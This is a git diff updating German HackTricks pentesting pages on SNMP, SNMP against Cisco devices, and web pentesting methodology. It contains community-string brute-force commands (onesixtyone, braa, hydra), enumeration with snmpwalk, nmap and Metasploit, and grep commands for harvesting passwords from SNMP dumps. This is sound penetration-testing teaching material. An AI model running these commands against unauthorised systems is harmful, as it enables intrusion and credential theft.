Um sicherzustellen, dass der SNMP-Zugriff über verschiedene Hersteller und mit verschiedenen Client-Server-Kombinationen funktioniert, wurde die **Management Information Base (MIB)** erstellt. MIB ist ein **unabhängiges Format zur Speicherung von Geräteinformationen**. Eine MIB ist eine **Textdatei**, in der alle abfragbaren **SNMP-Objekte** eines Geräts in einer **standardisierten** Baumstruktur aufgeführt sind. Sie enthält mindestens eine `Object Identifier` (`OID`), die neben der erforderlichen **eindeutigen Adresse und einem Namen** auch Informationen über den Typ, die Zugriffsrechte und eine Beschreibung des jeweiligen Objekts bereitstellt.\
|
||||
MIB-Dateien sind im auf ASCII-Text basierenden Format `Abstract Syntax Notation One` (`ASN.1`) geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo welche Informationen zu finden sind** und wie sie aussehen, welche Rückgabewerte für die spezifische OID zurückgegeben werden oder welcher Datentyp verwendet wird.
|
||||
MIB-Dateien sind im auf ASCII-Text basierenden Format `Abstract Syntax Notation One` (`ASN.1`) geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo welche Informationen zu finden sind** und wie sie aussehen, welche Rückgabewerte für die spezifische OID gelten oder welcher Datentyp verwendet wird.
|
||||
|
||||
### OIDs
|
||||
|
||||
|
@ -44,12 +44,12 @@ Die höchsten Ebenen der MIB-Objekt-IDs oder OIDs werden verschiedenen Standardi
|
|||
|
||||
Darüber hinaus haben Anbieter die Freiheit, private Zweige zu erstellen. Innerhalb dieser Zweige haben sie die **Autonomie, verwaltete Objekte einzuschließen, die für ihre eigenen Produktlinien relevant sind**. Dieses System gewährleistet, dass es eine strukturierte und organisierte Methode zur Identifizierung und Verwaltung einer Vielzahl von Objekten über verschiedene Anbieter und Standards hinweg gibt.
|
||||
|
||||
![](../../.gitbook/assets/snmp_oid_mib_tree.png)
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
Sie können sich durch einen **OID-Baum** im Web navigieren hier: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was ein OID bedeutet** (wie `1.3.6.1.2.1.1`) unter [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Es gibt einige **bekannte OIDs** wie diejenigen innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf von MIB-2 definierte Simple Network Management Protocol (SNMP) Variablen verweisen. Und von den **von diesem abgeleiteten OIDs** können Sie einige interessante Host-Daten abrufen (Systemdaten, Netzwerkdaten, Prozessdaten...)
|
||||
Sie können durch einen **OID-Baum** im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was ein OID bedeutet** (wie `1.3.6.1.2.1.1`) unter [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Es gibt einige **bekannte OIDs** wie diejenigen innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf von MIB-2 definierte Variablen des Simple Network Management Protocol (SNMP) verweisen. Und von den **von diesem ausgehenden OIDs** können Sie einige interessante Host-Daten abrufen (Systemdaten, Netzwerkdaten, Prozessdaten...)
|
||||
|
||||
### **OID Beispiel**
|
||||
### **OID-Beispiel**
|
||||
|
||||
[**Beispiel von hier**](https://www.netadmintools.com/snmp-mib-and-oids/):
|
||||
|
||||
|
@ -57,44 +57,44 @@ Es gibt einige **bekannte OIDs** wie diejenigen innerhalb von [1.3.6.1.2.1](http
|
|||
|
||||
Hier ist eine Aufschlüsselung dieser Adresse.
|
||||
|
||||
* 1 - dies wird als ISO bezeichnet und zeigt an, dass es sich um eine OID handelt. Deshalb beginnen alle OIDs mit "1"
|
||||
* 3 - dies wird als ORG bezeichnet und wird verwendet, um die Organisation anzugeben, die das Gerät gebaut hat.
|
||||
* 6 - dies ist das dod oder das Verteidigungsministerium, das die Internetverbindung als erstes etabliert hat.
|
||||
* 1 - dies ist der Wert des Internets, um anzugeben, dass alle Kommunikationen über das Internet erfolgen.
|
||||
* 4 - dieser Wert bestimmt, dass dieses Gerät von einer privaten Organisation und nicht von einer Regierungsorganisation hergestellt wurde.
|
||||
* 1 - dieser Wert zeigt an, dass das Gerät von einem Unternehmen oder einer Geschäftseinheit hergestellt wurde.
|
||||
* 1 – dies wird als ISO bezeichnet und zeigt an, dass es sich um eine OID handelt. Deshalb beginnen alle OIDs mit "1"
|
||||
* 3 – dies wird als ORG bezeichnet und wird verwendet, um die Organisation anzugeben, die das Gerät gebaut hat.
|
||||
* 6 – dies ist das dod oder das Verteidigungsministerium, das die Internetverbindung als erste Organisation hergestellt hat.
|
||||
* 1 – dies ist der Wert des Internets, um anzugeben, dass alle Kommunikationen über das Internet erfolgen.
|
||||
* 4 – dieser Wert bestimmt, dass dieses Gerät von einer privaten Organisation und nicht von einer Regierungsorganisation hergestellt wurde.
|
||||
* 1 – dieser Wert zeigt an, dass das Gerät von einem Unternehmen oder einer Geschäftseinheit hergestellt wurde.
|
||||
|
||||
Diese ersten sechs Werte sind für alle Geräte tendenziell gleich und geben grundlegende Informationen über sie. Diese Zahlenfolge wird für alle OIDs gleich sein, außer wenn das Gerät von der Regierung hergestellt wurde.
|
||||
|
||||
Weiter zu den nächsten Zahlen.
|
||||
Übergehen zu den nächsten Zahlen.
|
||||
|
||||
* 1452 - gibt den Namen der Organisation an, die dieses Gerät hergestellt hat.
|
||||
* 1 - erklärt den Gerätetyp. In diesem Fall handelt es sich um einen Wecker.
|
||||
* 2 - bestimmt, dass dieses Gerät eine Fernbedienungseinheit ist.
|
||||
* 1452 – gibt den Namen der Organisation an, die dieses Gerät hergestellt hat.
|
||||
* 1 – erläutert den Gerätetyp. In diesem Fall handelt es sich um einen Wecker.
|
||||
* 2 – bestimmt, dass dieses Gerät eine Fernmeldeeinheit ist.
|
||||
|
||||
Die restlichen Werte geben spezifische Informationen über das Gerät.
|
||||
|
||||
* 5 - kennzeichnet einen diskreten Alarmpunkt.
|
||||
* 1 - spezifischer Punkt im Gerät
|
||||
* 3 - Port
|
||||
* 21 - Adresse des Ports
|
||||
* 1 - Anzeige für den Port
|
||||
* 4 - Punktnummer
|
||||
* 7 - Zustand des Punktes
|
||||
* 5 – kennzeichnet einen diskreten Alarm-Punkt.
|
||||
* 1 – spezifischer Punkt im Gerät
|
||||
* 3 – Port
|
||||
* 21 – Adresse des Ports
|
||||
* 1 – Anzeige für den Port
|
||||
* 4 – Punktnummer
|
||||
* 7 – Zustand des Punktes
|
||||
|
||||
### SNMP-Versionen
|
||||
|
||||
Es gibt 2 wichtige Versionen von SNMP:
|
||||
|
||||
* **SNMPv1**: Die Hauptversion, sie ist immer noch die häufigste, die **Authentifizierung basiert auf einem String** (Community-String), der im **Klartext übertragen wird** (alle Informationen werden im Klartext übertragen). **Version 2 und 2c** senden den **Datenverkehr ebenfalls im Klartext** und verwenden einen **Community-String zur Authentifizierung**.
|
||||
* **SNMPv3**: Verwendet eine bessere **Authentifizierungsform** und die Informationen werden **verschlüsselt übertragen** (ein **Wörterbuchangriff** könnte durchgeführt werden, wäre jedoch viel schwieriger, die richtigen Anmeldeinformationen zu finden als bei SNMPv1 und v2).
|
||||
* **SNMPv1**: Die Hauptversion, sie ist immer noch die häufigste, die **Authentifizierung basiert auf einem String** (Community-String), der im **Klartext** übertragen wird (alle Informationen werden im Klartext übertragen). **Version 2 und 2c** senden den **Datenverkehr ebenfalls im Klartext** und verwenden einen **Community-String zur Authentifizierung**.
|
||||
* **SNMPv3**: Verwendet eine bessere **Authentifizierungsform** und die Informationen werden **verschlüsselt** übertragen (ein **Wörterbuchangriff** könnte durchgeführt werden, wäre jedoch viel schwieriger, die richtigen Anmeldeinformationen zu finden als bei SNMPv1 und v2).
|
||||
|
||||
### Community-Strings
|
||||
|
||||
Wie bereits erwähnt, **um auf die im MIB gespeicherten Informationen zuzugreifen, müssen Sie den Community-String in den Versionen 1 und 2/2c kennen und die Anmeldeinformationen in Version 3**.\
|
||||
Es gibt **2 Arten von Community-Strings**:
|
||||
|
||||
* **`public`** hauptsächlich **nur-Lese-Funktionen**
|
||||
* **`public`** hauptsächlich **nur-Lese**-Funktionen
|
||||
* **`private`** **Lese-/Schreibzugriff** im Allgemeinen
|
||||
|
||||
Beachten Sie, dass **die Schreibbarkeit einer OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn festgestellt wird, dass "**public**" verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben**. Es **können auch Objekte existieren, die immer "Nur Lesen" sind**.\
|
||||
|
@ -110,13 +110,13 @@ In den Versionen 1 und 2/2c, wenn Sie einen **falschen** Community-String verwen
|
|||
* Der Manager empfängt Benachrichtigungen ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) und [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) auf Port **162**.
|
||||
* Bei Verwendung von [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) werden Anfragen auf Port **10161** empfangen und Benachrichtigungen werden an Port **10162** gesendet.
|
||||
|
||||
## Brute-Force Community String (v1 und v2c)
|
||||
## Brute-Force Community-String (v1 und v2c)
|
||||
|
||||
Um den Community-String zu **erraten**, könnten Sie einen Wörterbuchangriff durchführen. Überprüfen Sie [hier verschiedene Möglichkeiten, einen Brute-Force-Angriff gegen SNMP durchzuführen](../../generic-methodologies-and-resources/brute-force.md#snmp). Ein häufig verwendeter Community-String ist `public`.
|
||||
|
||||
## SNMP aufzählen
|
||||
|
||||
Es wird empfohlen, die folgenden zu installieren, um zu sehen, was **jede gesammelte OID** vom Gerät bedeutet:
|
||||
Es wird empfohlen, die folgenden zu installieren, um zu sehen, was **jede OID, die vom Gerät gesammelt wurde, bedeutet**:
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
|
@ -139,13 +139,13 @@ nmap --script "snmp* and not snmp-brute" <target>
|
|||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
Dank erweiterter Abfragen (download-mibs) ist es möglich, noch mehr über das System mit dem folgenden Befehl aufzulisten:
|
||||
Dank erweiterter Abfragen (download-mibs) ist es möglich, noch mehr Informationen über das System mit dem folgenden Befehl aufzulisten:
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** enthält viele Informationen über den Host, darunter **Netzwerkschnittstellen** (IPv4- und **IPv6-Adresse), Benutzernamen, Betriebszeit, Server-/Betriebssystemversion und **Prozesse**
|
||||
**SNMP** enthält viele Informationen über den Host, darunter **Netzwerkschnittstellen** (IPv4- und **IPv6-Adresse), Benutzernamen, Betriebszeit, Server/Betriebssystemversion und **Prozesse**
|
||||
|
||||
**(kann Passwörter enthalten)**....
|
||||
**(die Passwörter enthalten können)**....
|
||||
|
||||
### **Gefährliche Einstellungen**
|
||||
|
||||
|
@ -153,7 +153,7 @@ Im Bereich des Netzwerkmanagements sind bestimmte Konfigurationen und Parameter
|
|||
|
||||
### Zugriffseinstellungen
|
||||
|
||||
Zwei Hauptkonfigurationen ermöglichen den Zugriff auf den **vollen OID-Baum**, der ein entscheidender Bestandteil des Netzwerkmanagements ist:
|
||||
Zwei Hauptkonfigurationen ermöglichen den Zugriff auf den **vollen OID-Baum**, der ein wesentlicher Bestandteil des Netzwerkmanagements ist:
|
||||
|
||||
1. **`rwuser noauth`** ist so eingestellt, dass voller Zugriff auf den OID-Baum ohne Authentifizierung möglich ist. Diese Einstellung ist unkompliziert und ermöglicht uneingeschränkten Zugriff.
|
||||
2. Für eine spezifischere Steuerung kann der Zugriff gewährt werden durch:
|
||||
|
@ -182,7 +182,7 @@ Werfen Sie einen Blick auf diese Seite, wenn Sie Cisco-Geräte verwenden:
|
|||
[cisco-snmp.md](cisco-snmp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Von SNMP zu RCE
|
||||
## Vom SNMP zum RCE
|
||||
|
||||
Wenn Sie den **String** haben, der es Ihnen ermöglicht, **Werte im SNMP-Dienst zu schreiben**, könnten Sie ihn missbrauchen, um **Befehle auszuführen**:
|
||||
|
||||
|
@ -194,31 +194,27 @@ Wenn Sie den **String** haben, der es Ihnen ermöglicht, **Werte im SNMP-Dienst
|
|||
|
||||
[Braa ](https://github.com/mteg/braa)ist ein massiver SNMP-Scanner. Die beabsichtigte Verwendung eines solchen Tools besteht natürlich darin, SNMP-Abfragen durchzuführen - im Gegensatz zu snmpwalk von net-snmp kann es jedoch Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch.
|
||||
|
||||
Braa implementiert seinen EIGENEN SNMP-Stack, daher benötigt es KEINE SNMP-Bibliotheken wie net-snmp.
|
||||
Braa implementiert seinen EIGENEN SNMP-Stack, sodass es KEINE SNMP-Bibliotheken wie net-snmp benötigt.
|
||||
|
||||
**Syntax:** braa \[Community-String]@\[IP des SNMP-Servers]:\[ISO-ID]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
Das kann eine große Menge an Informationen extrahieren, die Sie manuell nicht verarbeiten können.
|
||||
|
||||
Also, lassen Sie uns nach den interessantesten Informationen suchen (von [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
### **Geräte**
|
||||
|
||||
Der Prozess beginnt mit der Extraktion der **sysDesc MIB-Daten** (1.3.6.1.2.1.1.1.0) aus jeder Datei, um die Geräte zu identifizieren. Dies wird durch die Verwendung eines **grep-Befehls** erreicht:
|
||||
Der Prozess beginnt mit der Extraktion von **sysDesc MIB-Daten** (1.3.6.1.2.1.1.1.0) aus jeder Datei, um die Geräte zu identifizieren. Dies wird durch die Verwendung eines **grep-Befehls** erreicht:
|
||||
```bash
|
||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Identifizieren des privaten Strings**
|
||||
|
||||
Ein entscheidender Schritt besteht darin, den **privaten Community-String** zu identifizieren, den Organisationen verwenden, insbesondere auf Cisco IOS-Routern. Dieser String ermöglicht das Extrahieren von **laufenden Konfigurationen** von Routern. Die Identifizierung beruht oft auf der Analyse von SNMP-Trap-Daten nach dem Wort "trap" mit einem **grep-Befehl**:
|
||||
Ein entscheidender Schritt besteht darin, den **privaten Community-String** zu identifizieren, der von Organisationen verwendet wird, insbesondere auf Cisco IOS-Routern. Dieser String ermöglicht die Extraktion von **laufenden Konfigurationen** von Routern. Die Identifizierung beruht häufig auf der Analyse von SNMP-Trap-Daten nach dem Wort "trap" mit einem **grep-Befehl**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
### **Benutzernamen/Passwörter**
|
||||
|
||||
Protokolle, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** überprüft, die versehentlich Passwörter enthalten könnten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden gesucht, um wertvolle Daten zu finden:
|
||||
Protokolle, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** überprüft, die versehentlich Passwörter enthalten könnten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
|
@ -242,7 +238,7 @@ Wenn es eine ACL gibt, die nur bestimmten IPs erlaubt, den SMNP-Dienst abzufrage
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -290,7 +286,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -23,11 +23,9 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
|
|||
**SNMP** funktioniert über UDP mit den Ports 161/UDP für allgemeine Nachrichten und 162/UDP für Trap-Nachrichten. Dieses Protokoll basiert auf Community-Strings, die als Passwörter dienen und die Kommunikation zwischen SNMP-Agenten und Servern ermöglichen. Diese Strings sind entscheidend, da sie Zugriffsebenen bestimmen, insbesondere **nur lesen (RO) oder lesen/schreiben (RW) Berechtigungen**. Ein bemerkenswerter Angriffsvektor für Pentester ist das **Brute-Forcing von Community-Strings**, mit dem Ziel, in Netzwerkgeräte einzudringen.
|
||||
|
||||
Ein praktisches Tool für die Durchführung solcher Brute-Force-Angriffe ist [**onesixtyone**](https://github.com/trailofbits/onesixtyone), das eine Liste potenzieller Community-Strings und die IP-Adressen der Ziele erfordert:
|
||||
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Das Metasploit-Framework bietet das Modul `cisco_config_tftp`, das die Extraktion von Gerätekonfigurationen erleichtert, abhängig von der Erlangung einer RW-Community-Zeichenfolge. Wesentliche Parameter für diese Operation sind:
|
||||
|
@ -41,19 +39,17 @@ Nach der Konfiguration ermöglicht dieses Modul den direkten Download von Gerät
|
|||
|
||||
#### `snmp_enum`
|
||||
|
||||
Ein weiteres Metasploit-Modul, **`snmp_enum`**, spezialisiert sich auf die Erfassung detaillierter Hardwareinformationen. Es funktioniert mit beiden Arten von Community-Zeichenfolgen und erfordert die IP-Adresse des Ziels für eine erfolgreiche Ausführung:
|
||||
|
||||
Ein weiteres Metasploit-Modul, **`snmp_enum`**, spezialisiert sich auf die Sammlung detaillierter Hardwareinformationen. Es funktioniert mit beiden Arten von Community-Zeichenfolgen und erfordert die IP-Adresse des Ziels für eine erfolgreiche Ausführung:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
```
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/de/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -61,9 +57,9 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hacker-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -35,7 +35,7 @@ PORT STATE SERVICE
|
|||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Web-API-Anleitung
|
||||
### Web API Anleitung
|
||||
|
||||
{% content-ref url="web-api-pentesting.md" %}
|
||||
[web-api-pentesting.md](web-api-pentesting.md)
|
||||
|
@ -45,13 +45,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
> In dieser Methodik gehen wir davon aus, dass Sie eine Domain (oder Subdomain) angreifen und nur diese. Wenden Sie diese Methodik daher auf jede entdeckte Domain, Subdomain oder IP mit einem nicht identifizierten Webserver im Scope an.
|
||||
|
||||
* [ ] Beginnen Sie mit der **Identifizierung** der vom Webserver verwendeten **Technologien**. Suchen Sie nach **Tricks**, die Sie während des restlichen Tests im Auge behalten sollten, wenn Sie die Technologie erfolgreich identifizieren können.
|
||||
* [ ] Beginnen Sie mit der **Identifizierung** der **verwendeten Technologien** des Webservers. Achten Sie auf **Tricks**, die Sie während des restlichen Tests im Auge behalten sollten, wenn Sie die Technologie erfolgreich identifizieren können.
|
||||
* [ ] Gibt es **bekannte Schwachstellen** in der Version der Technologie?
|
||||
* [ ] Verwendung einer **bekannten Technologie**? Gibt es **nützliche Tricks**, um mehr Informationen zu extrahieren?
|
||||
* [ ] Gibt es einen **spezialisierten Scanner** (wie z. B. wpscan), der ausgeführt werden soll?
|
||||
* [ ] Gibt es einen **spezialisierten Scanner** (wie z. B. wpscan), der ausgeführt werden sollte?
|
||||
* [ ] Starten Sie **Scanner für allgemeine Zwecke**. Man weiß nie, ob sie etwas finden oder interessante Informationen entdecken werden.
|
||||
* [ ] Beginnen Sie mit den **initialen Überprüfungen**: **Robots**, **Sitemap**, **404**-Fehler und **SSL/TLS-Scan** (bei HTTPS).
|
||||
* [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist an der Zeit, alle möglichen **Dateien, Ordner** und **verwendeten Parameter** zu **finden**. Überprüfen Sie auch auf **besondere Funde**.
|
||||
* [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist an der Zeit, alle möglichen **Dateien, Ordner** und **verwendeten Parameter** zu **finden**. Überprüfen Sie auch auf **besondere Entdeckungen**.
|
||||
